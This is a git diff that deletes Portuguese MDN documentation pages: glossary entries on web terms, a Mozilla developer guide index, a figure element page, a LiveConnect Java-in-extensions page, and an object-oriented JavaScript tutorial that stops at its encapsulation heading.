diff --git "a/files/pt-pt/gloss\303\241rio/motor/index.html" "b/files/pt-pt/gloss\303\241rio/motor/index.html" deleted file mode 100644 index f926844c24..0000000000 --- "a/files/pt-pt/gloss\303\241rio/motor/index.html" +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Motor -slug: Glossário/Motor -tags: - - Codificação - - Glossário - - Precisa de Conteúdo -translation_of: Glossary/Engine ---- -

O motor de {{glossary("JavaScript")}} é um interpretador que analisa e executa um programa JavaScript.

- -

Saber mais

- -

Conhecimento geral

- - diff --git "a/files/pt-pt/gloss\303\241rio/navegador/index.html" "b/files/pt-pt/gloss\303\241rio/navegador/index.html" deleted file mode 100644 index 6adcf06dd5..0000000000 --- "a/files/pt-pt/gloss\303\241rio/navegador/index.html" +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: Navegador -slug: Glossário/Navegador -tags: - - Glossário - - Navegação -translation_of: Glossary/Browser ---- -

Um navegador da Web é um programa que obtém e exibe páginas a partir da {{Glossary("World Wide Web","Web")}}, e deixa os utilziadores acerem a mais páginas através de {{Glossary("hyperlink","hiperligações")}}.

- -

Saiba mais

- -

Conhecimento geral

- - - -

Transferir um navageador

- - - -
- - - - - -
diff --git "a/files/pt-pt/gloss\303\241rio/node.js/index.html" "b/files/pt-pt/gloss\303\241rio/node.js/index.html" deleted file mode 100644 index 156c3e365a..0000000000 --- "a/files/pt-pt/gloss\303\241rio/node.js/index.html" +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: Node.js -slug: Glossário/Node.js -tags: - - Glossário - - Infraestrutura - - JavaScript - - node.js -translation_of: Glossary/Node.js ---- -

Node.js é um ambiente de execução multiplataforma em {{Glossary("JavaScript")}} que permite aos programadores criarem aplicações de rede e 'lado do servidor' com JavaScript.

- -

Saber mais

- -

Conhecimentos Gerais

- - - -

Informação técnica

- - - -
- - - - - -
diff --git "a/files/pt-pt/gloss\303\241rio/objeto/index.html" "b/files/pt-pt/gloss\303\241rio/objeto/index.html" deleted file mode 100644 index c22e16f168..0000000000 --- "a/files/pt-pt/gloss\303\241rio/objeto/index.html" +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Objeto -slug: Glossário/Objeto -tags: - - Glossary - - Glossário - - Introdução - - Objeto - - Programação Scripting -translation_of: Glossary/Object ---- -

Objeto refere-se a uma estrutura de dados contendo dados e instruções para trabalhar com os dados. Os objetos às vezes referem-se a coisas do mundo real, por exemplo, um carro ou objeto de mapa num jogo de carros. {{glossary("JavaScript")}}, Java, C++, Python, e Ruby são exemplos de linguagens em {{glossary("OOP","programação orientada em objeto")}}.

- -

Saber mais

- -

Conhecimento Geral

- - diff --git "a/files/pt-pt/gloss\303\241rio/oop/index.html" "b/files/pt-pt/gloss\303\241rio/oop/index.html" deleted file mode 100644 index c37e75122c..0000000000 --- "a/files/pt-pt/gloss\303\241rio/oop/index.html" +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: OOP -slug: Glossário/OOP -tags: - - Glossário - - Principiante - - Programação Scripting -translation_of: Glossary/OOP ---- -

OOP (Programação Orientada em Objeto) é uma abordagem na programação em que os dados são encapsulados dentro de {{glossary("object","objetos")}} e onde o próprio objeto é operado, em vez de suas partes componentes.

- -

{{glossary("JavaScript")}} é totalmente orientado em objeto. Este segue um modelo baseado em protótipo (em oposição ao baseado em classe).

- -

Saber mais

- -

Conhecimento Gera

- - diff --git "a/files/pt-pt/gloss\303\241rio/ota/index.html" "b/files/pt-pt/gloss\303\241rio/ota/index.html" deleted file mode 100644 index ec1f107800..0000000000 --- "a/files/pt-pt/gloss\303\241rio/ota/index.html" +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: OTA -slug: Glossário/OTA -tags: - - Glossário - - Infraestrutura - - OTA - - Wireless - - updates -translation_of: Glossary/OTA ---- -

Over-The-Air (OTA ou "Pelo-Ar") refere-se à atualização automática de programas de dispositivos conectados a partir de um servidor central. Todos os proprietários de dispositivos ao receber um determinado conjunto de atualizações estão sob o mesmo "canal"; e cada dispositivo pode amiúde acessar vários canais (e.g. para "builds" de produção ou engenharia).

- -

Aprenda mais

- -

Conhecimentos Gerais

- - diff --git "a/files/pt-pt/gloss\303\241rio/polyfill/index.html" "b/files/pt-pt/gloss\303\241rio/polyfill/index.html" deleted file mode 100644 index f0261120c0..0000000000 --- "a/files/pt-pt/gloss\303\241rio/polyfill/index.html" +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Polyfill -slug: Glossário/Polyfill -translation_of: Glossary/Polyfill ---- -

Um polyfill é um pedaço de código (geralmente JavaScript) usado para fornecer funcionalidades modernas em browsers mais antigos que não o suportam nativamente.

- -

Por exemplo, um polyfill pode ser usado para simular a funcionalidade de um elemento HTML Canvas no Microsoft Internet Explorer 7, usando o plugin Silverlight, ou simular o suporte para unidades rem em CSS, ou {{cssxref("text-shadow")}}, ou qualquer outra coisa que você queira.

- -

Saber mais

- -

Conhecimento geral

- - diff --git "a/files/pt-pt/gloss\303\241rio/prototype-based_programming/index.html" "b/files/pt-pt/gloss\303\241rio/prototype-based_programming/index.html" deleted file mode 100644 index 8f64f4e216..0000000000 --- "a/files/pt-pt/gloss\303\241rio/prototype-based_programming/index.html" +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Programação baseada em protótipo -slug: Glossário/Prototype-based_programming -tags: - - Glossário - - Programação Scripting -translation_of: Glossary/Prototype-based_programming ---- -

A programação baseada em protótipo é um estilo de {{Glossary("OOP", " programação orientada em objeto")}} em que as {{Glossary('Class', 'classes')}} não são explicitamente definidas, mas sim derivadas adicionando as propriedades e os métodos a uma instância de outra classe ou, com menos freqüência, adicione-os a um objeto vazio.

- -

Em palavras simples, esse tipo de estilo permite criar um {{Glossary ('Object', 'objeto')}}. sem definir a sua {{Glossary('Class', 'classe')}} .

- -

Conhecimento Geral

- - diff --git "a/files/pt-pt/gloss\303\241rio/referencia_de_objeto/index.html" "b/files/pt-pt/gloss\303\241rio/referencia_de_objeto/index.html" deleted file mode 100644 index 1be540d26f..0000000000 --- "a/files/pt-pt/gloss\303\241rio/referencia_de_objeto/index.html" +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Referência de objeto -slug: Glossário/Referencia_de_objeto -tags: - - CodingScripting - - Glossary - - Glossário -translation_of: Glossary/Object_reference ---- -

Uma ligação para um {{glossary("object","objeto")}}. Referências de objeto podem ser utilziadas como objetos interligados.

- -

O conceito de referências de objeto fica claro quando atribuir o mesmo objeto a mais de uma {{glossary("property","propriedade")}}. Em vez de manter uma cópia do objeto, cada propriedade atribuída contém referências de objeto que se vinculam ao mesmo objeto, de modo que, quando o objeto altera todas as propriedades referentes ao objeto, refletem a alteração.

- -

Saber mais

- -

Conhecimento geral

- - diff --git "a/files/pt-pt/gloss\303\241rio/servidor/index.html" "b/files/pt-pt/gloss\303\241rio/servidor/index.html" deleted file mode 100644 index f1e161b3ee..0000000000 --- "a/files/pt-pt/gloss\303\241rio/servidor/index.html" +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Servidor -slug: Glossário/Servidor -tags: - - Glossário - - Infraestrutura - - Protocolo - - Rede - - Servidor -translation_of: Glossary/Server ---- -

Um servidor hardware é um computador compartilhado em uma rede que provê serviços a clientes. Um servidor software é um programa que provê serviços a programas clientes.

- -

Os serviços são providos normalmente pela rede local ou por redes remotas. Programas cliente e servidor tradicionalmente se conectam a enviar mensagens por meio de um {{glossary("protocolo")}}.

- -

Os servidores mais comuns numa rede local são os de ficheiros, nomes, emails, impressoras e fax. Outro exemplo comum de servidor é o de páginas da web conectado à Internet. Os minicomputadores, mainframes e super computadores nas centrais de dados também são servidores.

- -

Aprenda mais

- -

Conhecimentos Gerais

- - diff --git "a/files/pt-pt/gloss\303\241rio/utf-8/index.html" "b/files/pt-pt/gloss\303\241rio/utf-8/index.html" deleted file mode 100644 index 2541862ba3..0000000000 --- "a/files/pt-pt/gloss\303\241rio/utf-8/index.html" +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: UTF-8 -slug: Glossário/UTF-8 -tags: - - CodingScripting - - Glossário - - HTML - - JavaScript - - Utf-8 -translation_of: Glossary/UTF-8 ---- -

UTF-8 (UCS Transformation Format 8) é o {{Glossary("Character encoding", "caráter de codificação")}} mais comum da World Wide Web. Cada caráter é representado por um até quatro bytes. UTF-8 é compatível com versões anteriores de {{Glossary("ASCII")}} e pode representar qualquer caráter Unicode padrão.

- -

Os 128 primeiros carateres UTF-8 correspondem precisamente com os 128 primeiros carateres ASCII (numerado 0-127), o que significa que o texto ASCII existente já é um UTF-8 válido. Todos os outros carateres utilizam dois até quatro bytes. Cada byte tem alguns bits reservados para efeitos de codificação. Porque os carateres não ASCII requerem mais do que um byte para armazenamento, eles correm o risco de ficarem corruptos se os bytes são separados e não recombinados..

- -

Saiba mais

- -

Conhecimento geral

- - diff --git "a/files/pt-pt/gloss\303\241rio/valor/index.html" "b/files/pt-pt/gloss\303\241rio/valor/index.html" deleted file mode 100644 index 169f9a0f67..0000000000 --- "a/files/pt-pt/gloss\303\241rio/valor/index.html" +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Valor -slug: Glossário/Valor -tags: - - CodingScripting - - Glossary - - Glossário - - NeedsContent - - Precisa de Conteúdo -translation_of: Glossary/Value ---- -

No contexto de dados ou um objeto {{Glossary("Wrapper", "wrapper")}} em torno desses dados, o valor é o {{Glossary("Primitive","valor primitivo")}} que o objeto wrapper contém. No contexto de uma {{Glossary("Variable","variável")}} ou {{Glossary("Property","propriedade")}}, o valor pode ser um primitivo ou uma {{Glossary("Object reference","referência de objeto")}}.

- -

Saber mais

- -

Conhecimento geral

- - diff --git "a/files/pt-pt/gloss\303\241rio/viewport/index.html" "b/files/pt-pt/gloss\303\241rio/viewport/index.html" deleted file mode 100644 index 98daacebe0..0000000000 --- "a/files/pt-pt/gloss\303\241rio/viewport/index.html" +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Viewport -slug: Glossário/Viewport -tags: - - CodingScripting - - Glossário - - Layout - - viewport -translation_of: Glossary/Viewport ---- -

Um viewport representa uma área poligonal (normalmente rectangular) na computação gráfica que pode ser visualizada. Em termos de navegador web, refere-se à area do documento que que é possível visualizar.

- -

A parte da viewport que está actualmente visível chama-se {{glossary("visual viewport", "viewport visual")}}. Esta pode ser menor do que a viewport do layout, por exemplo, quando o utilizador faz um zoom localizado. O viewport continua a ser o mesmo, mas o viewport visual tornou-se mais pequeno.

- -

Saiba Mais

- -

Conhecimento Geral

- - - - diff --git "a/files/pt-pt/gloss\303\241rio/viewport_visual/index.html" "b/files/pt-pt/gloss\303\241rio/viewport_visual/index.html" deleted file mode 100644 index 3bd82858fb..0000000000 --- "a/files/pt-pt/gloss\303\241rio/viewport_visual/index.html" +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Viewport Visual -slug: Glossário/Viewport_Visual -tags: - - Glossário - - VisualViewport - - viewport - - viewport visual -translation_of: Glossary/Visual_Viewport ---- -

A parte do {{Glossary("viewport")}} que é actualmente visível chama-se o "viewport visual". Este pode ser menor que o viewport do layout, por exemplo, quando o utilizador faz um zoom localizado. O viewport visual é a parte visível de um ecrã, excluindo teclados no ecrã, áreas fora de uma área do zoom localizado, ou qualquer outro artefacto no ecrã cuja escala seja independente das dimensões de uma página.

- -

Saiba Mais

- -

Conhecimento Geral

- - diff --git "a/files/pt-pt/gloss\303\241rio/webrtc/index.html" "b/files/pt-pt/gloss\303\241rio/webrtc/index.html" deleted file mode 100644 index 452b4f3f24..0000000000 --- "a/files/pt-pt/gloss\303\241rio/webrtc/index.html" +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: WebRTC -slug: Glossário/WebRTC -tags: - - Glossário - - Infraestrutura - - JavaScript - - P2P - - VoIP - - WebRTC -translation_of: Glossary/WebRTC ---- -

WebRTC (Comunicações da Web em Tempo Real) é uma {{Glossary("API")}} que pode ser utilizada por aplicativos de videoconferência, chamadas de voz, e P2P.

- -

O WebRTC consiste principalmente destas partes:

- -
-
{{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}
-
Concede acesso à câmera e / ou microfone de um dispositivo, e pode conectar os seus sinais a uma conexão RTC.
-
{{domxref("RTCPeerConnection")}}
-
Uma interface para configurar videoconferências ou chamadas de voz.
-
{{domxref("RTCDataChannel")}}
-
Fornece um método para estabelecer uma conexão {{Glossary("P2P")}} entre navegadores web.
-
- -

Veja também

- - diff --git "a/files/pt-pt/gloss\303\241rio/webvtt/index.html" "b/files/pt-pt/gloss\303\241rio/webvtt/index.html" deleted file mode 100644 index 774a41a3fc..0000000000 --- "a/files/pt-pt/gloss\303\241rio/webvtt/index.html" +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: WebVTT -slug: Glossário/WebVTT -tags: - - Audio - - CodingScripting - - Glossário - - Video - - Web - - WebVTT -translation_of: Glossary/WebVTT ---- -

WebVTT (Web Video Text Tracks) (em português Faixas de Texto de Vídeo da Web) é uma especificação {{Glossary("W3C")}} para um formato de ficheiro que marca os recursos da faixa de texto em combinação com o elemento HTML {{HTMLElement("track")}}.

- -

Os ficheiros WebVTT fornecem metadados síncronos com conteúdos os de áudio ou vídeo, como legendas, descrições de vídeo em texto, capítulos para navegação no conteúdo, e mais.

- -

Saiba mais

- -

Conhecimento Geral

- - - -

Referência técnica

- - diff --git "a/files/pt-pt/gloss\303\241rio/whatwg/index.html" "b/files/pt-pt/gloss\303\241rio/whatwg/index.html" deleted file mode 100644 index 9de7c80ab8..0000000000 --- "a/files/pt-pt/gloss\303\241rio/whatwg/index.html" +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: WHATWG -slug: Glossário/WHATWG -tags: - - Communidade - - DOM - - Glossário - - HTML - - HTML5 - - WHATWG - - Web - - standards -translation_of: Glossary/WHATWG ---- -

O WHATWG (Web Hypertext Application Technology Working Group) é uma comunidade que mantém e desenvolve padrões web, incluindo {{Glossary("DOM")}}, Fetch, e {{Glossary("HTML")}}. Funcionários da Apple, Mozilla, e Opera estabeleceram o WHATWG em 2004.

- -

Saiba mais

- -

Conhecimento Geral

- - diff --git "a/files/pt-pt/gloss\303\241rio/world_wide_web/index.html" "b/files/pt-pt/gloss\303\241rio/world_wide_web/index.html" deleted file mode 100644 index ee86b296c5..0000000000 --- "a/files/pt-pt/gloss\303\241rio/world_wide_web/index.html" +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: World Wide Web -slug: Glossário/World_Wide_Web -tags: - - Glossário - - Infraestrutura - - Rede Mundial - - WWW - - World Wide Web -translation_of: Glossary/World_Wide_Web ---- -

A World Wide Web (Rede Mundial) — comumente conhecido como WWW, W3 ou Web - é um sistema interligado de páginas da Web públicas acessíveis através da {{Glossary('Internet')}}. A Web não é o mesmo que Internet: a Web é uma das muitas aplicações criadas no topo da Internet.

- -

Tim Berners-Lee propôs a arquitetura do que se tornou conhecido como World Wide Web. Ele criou a primeira Web {{Glossary("Server","servidor")}}, {{Glossary("Browser","navegador")}} da Web, e página da Web no próprio computador no laboratório de investigação de física CERN, em 1990. Em 1991, ele anúnciou a sua criação no fórum de discussão alt.hypertext, marcando o momento em que a Web foi tornada pública pela primeira vez.

- -

O sistema que nós conhecemos hoje como 'a Web' consiste em vários componentes:

- - - -

Interligar, ou ligar recursos através de {{Glossary("Hyperlink","hiperligações")}}, é um conceito de definição da Web, ajudando a sua identidade como uma coleção de documentos ligados.

- -

Logo depois de inventar a Web, Tim Berners-Lee fundou a {{Glossary("W3C")}} (World Wide Web Consortium) para uniformizar e desenvolver a Web ainda mais. Este consórcio consiste em grupos de interesse da Web essenciais, tais como responsáveis pelo desenvolvimento de navegadores da Web, entidades governamentais, investigadores, e universidades. A sua missão inclui educação e divulgação.

- -

Saiba mais

- -

Saiba mais sobre a mesma

- - - -

General knowledge

- - diff --git "a/files/pt-pt/gloss\303\241rio/wrapper/index.html" "b/files/pt-pt/gloss\303\241rio/wrapper/index.html" deleted file mode 100644 index 534568d817..0000000000 --- "a/files/pt-pt/gloss\303\241rio/wrapper/index.html" +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Wrapper -slug: Glossário/Wrapper -tags: - - CodingScripting - - Glossary - - Glossário - - Wrapper -translation_of: Glossary/Wrapper ---- -

Em linguagem de programação, tal como JavaScript, um wrapper é uma função destinada a chamar uma ou mais outras funções, às vezes apenas por conveniência, e às vezes adaptando-as para executar uma tarefa ligeiramente diferente no processo.

- -

Por exemplo, bibliotecas SDK para AWS são exemplos de wrappers.

- -

Saber mais

- -

Conhecimentto geral

- -

{{Interwiki("wikipedia", "Wrapper function")}} na Wikipédia (inglês)

- - diff --git "a/files/pt-pt/gloss\303\241rio/xml/index.html" "b/files/pt-pt/gloss\303\241rio/xml/index.html" deleted file mode 100644 index 7f196eb491..0000000000 --- "a/files/pt-pt/gloss\303\241rio/xml/index.html" +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: XML -slug: Glossário/XML -tags: - - Glossário - - XML - - 'l10n:priority' -translation_of: Glossary/XML ---- -

XML - Linguagem de Marcação Extensível, é uma linguagem de marcação genérica especificada pelo W3C. A indústria de tecnologia de informação (TI) utiliza muitas linguagens com base em XML, tal como as linguagens de descrição de dados.

- -

As tags de XML assemelham-se com as etiquetas de HTML, mas XML é muito mais flexível porque esta deixa os utilizadores definir as suas próprias etiquetas. Deste modo, XML atua como uma linguagem meta—que é, esta pode ser utilizada para definir outras linguagens, tais como {{Glossary("RSS")}}. além disso, HTML é uma linguagem de apresentação, enquanto XML é uma linguagem de descrição de dados. Isto significa, que XML tem aplicações muito mais amplas do que apenas a Web. Por exemplo, os serviços da Web podem utilizar XML para trocar pedidos e respostas.

- -

Saiba mais

- - diff --git a/files/pt-pt/guia_do_desenvolvedor/index.html b/files/pt-pt/guia_do_desenvolvedor/index.html deleted file mode 100644 index 6f7396ce66..0000000000 --- a/files/pt-pt/guia_do_desenvolvedor/index.html +++ /dev/null @@ -1,101 +0,0 @@ ---- -title: Guia do desenvolvedor -slug: Guia_do_desenvolvedor -translation_of: Mozilla/Developer_guide ---- -

There are lots of ways to contribute to the Mozilla project: coding, testing, improving the build process and tools, or contributing to the documentation. This guide provides information that will not only help you get started as a Mozilla contributor, but that you'll find useful to refer to even if you are already an experienced contributor.

- -
-
-

Documentation topics

- -
-
Getting Started
-
A step-by-step beginner's guide to getting involved with Mozilla.
-
For new Mozilla developers
-
A directory of articles which are particularly helpful for new Mozilla developers.
-
- -
-
Working with Mozilla Source Code
-
A code overview, how to get the code, and the coding style guide.
-
Build Instructions
-
How to build Firefox, Thunderbird, SeaMonkey, or other Mozilla applications.
-
Editor Configuration
-
Tips on setting up your favorite IDE or text editor to work with Mozilla projects.
-
Development process overview
-
An overview of the entire Mozilla development process.
-
Managing multiple profiles
-
When working with prerelease versions of Firefox, it's often helpful to have multiple Firefox profiles, such as one for each channel, or for different kinds of testing.
-
Automated Testing
-
How to run Mozilla's automated tests, and how to write new tests.
-
How to submit a patch
-
After getting your patch written, you need to get it checked into the tree. This article explains the review process and how to get your patch approved.
-
Getting documentation updated
-
How to ensure that documentation is kept up to date as you develop.
-
Mozilla modules and module ownership
-
This article provides information about Mozilla's modules, what the role of a module owner is, and how module owners are selected.
-
Code snippets
-
Useful code samples for a wide variety of things you might need to figure out how to do.
-
Mozilla development strategies
-
Tips for how to make the most of your time working on the Mozilla project.
-
Debugging
-
Find helpful tips and guides for debugging Mozilla code.
-
Performance
-
Performance guides and utilities to help you make your code perform well (and to play nicely with others).
-
The Mozilla platform
-
Information about the workings of the Mozilla platform.
-
Mozilla
-
Much more additional information about Mozilla coding practices.
-
Adding APIs to the navigator object {{ gecko_minversion_inline("9.0") }}
-
How to augment the {{ domxref("window.navigator") }} object with additional APIs.
-
Interface Compatibility
-
Guidelines for modifying scriptable and binary APIs in Mozilla.
-
Customizing Firefox
-
Information about creating customized versions of Firefox.
-
Task-Graph Generation
-
What controls the jobs that run on a push to version control? How can you change that?
-
Virtual ARM Linux environment
-
How to set up an ARM emulator running Linux for testing ARM-specific, but not necessarily platform-specific, code. Useful for mobile developers.
-
Obsolete Build Caveats and Tips
-
A place to put build tips which are no longer relevant to building the latest version of the code from main but are relevant when building old codebases.
-
Firefox Source Docs
-
Web-hosted documentation built from the mozilla-central source code.
-
-
- -
-

Tools

- -
-
Bugzilla
-
The Bugzilla database used to track issues for Mozilla projects.
-
DXR
-
Next generation of searching Mozilla's source code. In active development.
-
SearchFox
-
Another option for Mozilla code searching. Indexes JS as well as C++, includes blame capabilities. In active development.
-
Mercurial
-
The distributed version-control system used to manage Mozilla's source code.
-
Mozilla build VM
-
A VirtualBox compatible virtual machine configured with all the software needed to build and work on Firefox.
-
TaskCluster
-
TaskCluster is the task execution framework that supports Mozilla's continuous integration and release processes.
-
Treeherder
-
Treeherder shows the status of the tree (whether or not it currently builds successfully). Check this before checking in and out, to be sure you're working with a working tree.
-
Perfherder
-
Perfherder is used to aggregate the results of automated performance tests against the tree.
-
Crash tracking
-
Information about the Socorro crash reporting system.
-
Callgraph
-
A tool to help perform static analysis of the Mozilla code by generating callgraphs automatically.
-
Developer forums
-
A topic-specific list of discussion forums and mailing lists where you can talk about Mozilla development issues.
-
Mozilla Platform Development Cheat Sheet (archive.org)
-
Brian Bondy's list of frequently referenced information for platform developers. Brian Bondy took down codefirefox.com, but the archived cheatsheet might still be useful.
-
Firefox development video tutorials
-
Brian Bondy's video tutorials on Firefox development.
-
-
-
- -

diff --git a/files/pt-pt/htmltodelete/element/figure/index.html b/files/pt-pt/htmltodelete/element/figure/index.html deleted file mode 100644 index f5d66411d9..0000000000 --- a/files/pt-pt/htmltodelete/element/figure/index.html +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: figure -slug: HTMLToDelete/Element/figure -translation_of: Web/HTML/Element/figure ---- -

O elemento de figura HTML (<figure>) representa uma tag de conteúdo próprio, frequentemente com legenda. Geralmente referenciada idendependente do fluxo principal do documento, podendo assim ser movido atravéz do fluxo principal sem afeta-lo.

- -
-

Notas de Uso:

- - -
- -

Contexto de Uso

- - - - - - - - - - - - - - - - - - - - - - - - -
TipoSeccionando orig
Contexto PermitidoUm elemento {{ HTMLElement("figcaption") }}, seguido pelo fluxo do conteúdo; ou o fluxo do conteúdo seguido pelo elemento {{ HTMLElement("figcaption") }}
Omissão de TagNenhum, ambos marcam o início e o fim da tag são obrigatórios
Elementos Permitidos de OrigemQualquer elemento que aceita elementos de fluxo.
Documento NormativoHTML5, section 4.5.11
- -

Atributos

- -

Esse elemento não tem outros atributos além dos atributos globais, comuns para todos elementos.

- -

DOM Interface

- -

Esse elemento implementa a interface HTMLElement.

- -

Veja também

- - diff --git "a/files/pt-pt/java_em_extens\303\265es_do_firefox/index.html" "b/files/pt-pt/java_em_extens\303\265es_do_firefox/index.html" deleted file mode 100644 index c6d49cd20f..0000000000 --- "a/files/pt-pt/java_em_extens\303\265es_do_firefox/index.html" +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Java em Extensões do Firefox -slug: Java_em_Extensões_do_Firefox -tags: - - Extensões - - Java - - Todas_as_Categorias ---- -

Se houver a necessidade de chamar código de Java dentro duma extensão do Firefox, o LiveConnect poderá ser útil. O LiveConnect dá ao código JavaScript da sua extensão (ligado ou contido no seu código XUL) acesso a dois objectos: java e Packages. Estes dois objectos tornam possível o uso das classes padrão do JDK. Por exemplo:

- -
var aJavaList = new java.util.LinkedList();
-
- -

Se quiser carregar os seus próprios JARs, então pode criar a sua classe carregadora Java. Por exemplo:

- -
var cl = new java.net.URLClassLoader(
-    [ new java.net.URL('http://foo.net/bar.jar') ]
-);
-
-var aClass = java.lang.Class.forName("org.mozilla.developer.HelloWorld", true, cl);
-var aStaticMethod = aClass.getMethod("getGreeting", []);
-var greeting = aStaticMethod.invoke(null, []);
-alert(greeting);
-
- -

Esta técnica funciona apenas em código JavaScript ligado dentro de ou contido em ficheiros XUL. Se quiser chamar código Java de dentro de código JavaScript que implementa componentes XPCOM, neste momento só o poderá fazer recorrendo a outra outra técnica (ver Java Firefox Extension). Uma boa razão para chamar Java de dentro de um componente XPCOM em vez de XUL é para manter um singleton (tipo de objecto que força a existência de apenas um objecto duma classe )através todas as janelas do Firefox. Se chamar Java pelo XUL então cada janela do Firefox possuirá a sua própria classe e, por consequência, o seu singleton.

diff --git a/files/pt-pt/javascript_orientado_a_objetos/index.html b/files/pt-pt/javascript_orientado_a_objetos/index.html deleted file mode 100644 index 73ea9e4bc7..0000000000 --- a/files/pt-pt/javascript_orientado_a_objetos/index.html +++ /dev/null @@ -1,228 +0,0 @@ ---- -title: Javascript orientado a objetos -slug: Javascript_orientado_a_objetos -tags: - - JavaScript - - OOP - - Todas_as_Categorias ---- -

Para um melhor entendimento deste artigo, é necessário algum conhecimento sobre programação orientada a objetos, existem vários artigos na web e bons livros dedicados ao assunto. Tomemos como exemplo de objeto, um ventilador. Ao olharmos para este objeto, podemos identificá-lo dentre outros eletrodomésticos pelas suas características. Outros ventiladores podem apresentar características idênticas, porém são objetos distintos. Um ventilador pode estar desligado ou ligado em algumas velocidades. Detalhes de sua estrutura ficam ocultos internamente, pois não precisamos conhecê-los para fazer uso do mesmo.

- -

Javascript difere-se de linguagens clássicas orientadas a objeto como Java e C++ principalmente por não possuir uma definição formal de classe. Entretanto possui seu próprio tipo de herança baseada em protótipo e faz uso constante de objetos baseando-se nesse tipo de herança.

- -

Função construtora e propriedades / Classe e atributos

- -

Na programação orientada a objetos, é comum utilizar tipos de objetos (classes) personalizados. Essas classes1 são úteis em diversos casos, por exemplo, se seu programa manipula várias formas geométricas, poderiam haver várias classes de objetos como quadrados, retângulos e círculos. Utilizando nosso exemplo, vamos criar a função construtora Ventilador, contendo as propriedades2 velocidadeMaxima e ligado. Observe que a propriedade velocidadeMaxima recebe o valor do argumento velMax.

- -
function Ventilador(velMax) {
-    this.velocidadeMaxima = velMax;
-    this.ligado = false;
-}
-
- -

A palavra-chave this é responsável por iniciar o objeto adequadamente.

- -

Instâncias

- -

A criação de um objeto, ou seja, a instanciação de uma classe é realizada com uso do operador new. Após este operador vem o nome da função construtora, responsável pela inicialização do objeto.

- -

Alguns exemplos de instanciação:

- -
var obj = new Object();
-var data = new Date();
-
- -

Seguindo mais uma vez o exemplo do ventilador:

- -
var ventilador1 = new Ventilador(3);
-
- -

Acessando propriedades

- -

Para acessar as propriedades de um objeto você deve utilizar o operador “.” que deve ser precedido de uma referência ao objeto e sucedido pelo nome de uma de suas propriedades.

- -
console.log(ventilador1.velocidadeMaxima); // Retorna 3
-
- -

Diferente das linguagens clássicas orientadas a objeto, Javascript permite que propriedades sejam adicionadas a qualquer momento durante a execução do código. Por exemplo, vamos adicionar a propriedade cor a nosso ventilador:

- -
ventilador1.cor = "branco";
-console.log(ventilador1.cor); // Retorna branco
-
- -

Métodos

- -

Métodos em Javascript são funções invocadas por objetos. Para criar um novo método, basta atribuir uma função a um nome no objeto utilizando também o operador “.” como ocorre com as propriedades. O exemplo abaixo demonstra como definir o método ligar para a classe Ventilador utilizando a função liga através da propriedade prototype.

- -
function liga() {
-    this.ligado = true;
-}
-Ventilador.prototype.ligar = liga;
-
- -

Caso queira adicionar um método a um objeto em particular, pode fazê-lo da seguinte maneira:

- -
ventilador2 = new Ventilador(2);
-ventilador2.ligar = liga;
-
- -

Outro uso possível é definir o método na estrutura da classe:

- -
function liga() {
-    this.ligado = true;
-}
-function Ventilador(velMax) {
-    this.velocidadeMaxima = velMax;
-    this.ligado = false;
-    this.ligar = liga;
-}
-
- -

A palavra chave this é substituída pelo objeto que invoca a função, essa é uma das principais vantagens da utilização de métodos. Exemplo de uso:

- -
var ventilador = new Ventilador(3);
-console.log(ventilador.ligado); // Retorna false
-ventilador.ligar();
-console.log(ventilador.ligado); // Retorna true
-
- -

Literais de objeto

- -

Os literais de objeto3 possibilitam criar e iniciar objetos de uma maneira diferente. A sintaxe é definida por uma lista de pares nome/valor separados por vírgulas entre um par de chaves. Cada par nome/valor é definido pelo nome da propriedade seguido de dois pontos e do valor correspondente.

- -
var Livro = {
-    titulo : "Os Três Mosqueteiros",
-    autor : "Alexandre Dumas",
-    capitulo1 : {
-        titulo : "Os três presentes do sr. D'Artagnan pai",
-        paginas : 11
-    },
-    capitulo2 : {
-        titulo : "A antecâmara do sr. Tréville",
-        paginas : 8
-    }
-}
-
-// Acessando as propriedades:
-console.log(Livro.titulo + " - " + Livro.autor + "\\n\\t" +
-      Livro.capitulo1.titulo + " - " +
-      Livro.capitulo1.paginas + " páginas\\n\\t" +
-      Livro.capitulo2.titulo + " - " +
-      Livro.capitulo2.paginas + " páginas");
-
- -

Composição

- -

A composição é um recurso utilizado para definir uma relação do tipo “tem um” (“has a” relationship), ou seja, um objeto que conta com outros objetos para formar sua estrutura. Por exemplo, um objeto do tipo Carro teria em sua estrutura objetos do tipo Roda, Volante, Banco. O exemplo anterior que descreve um livro, também demonstra o uso deste recurso.

- -
function Livro(titulo, autor) {
-    this.titulo = titulo;
-    this.autor = autor;
-}
-
-function Capitulo(titulo, paginas) {
-    this.titulo = titulo;
-    this.paginas = paginas;
-}
-
-var livro = new Livro("Os Três Mosqueteiros", "Alexandre Dumas");
-var capitulo1 = new Capitulo("Os três presentes do sr. D'Artagnan pai", 11);
-var capitulo2 = new Capitulo("A antecâmara do sr. Tréville", 8);
-
-// Os objetos do tipo Capitulo fazem parte da composição do objeto livro
-livro.capitulo1 = capitulo1;
-livro.capitulo2 = capitulo2;
-
-// Acessando as propriedades:
-console.log(livro.titulo + " - " + livro.autor + "\\n\\t" +
-      livro.capitulo1.titulo + " - " +
-      livro.capitulo1.paginas + " páginas\\n\\t" +
-      livro.capitulo2.titulo + " - " +
-      livro.capitulo2.paginas + " páginas");
-
- -

Encapsulamento

- -

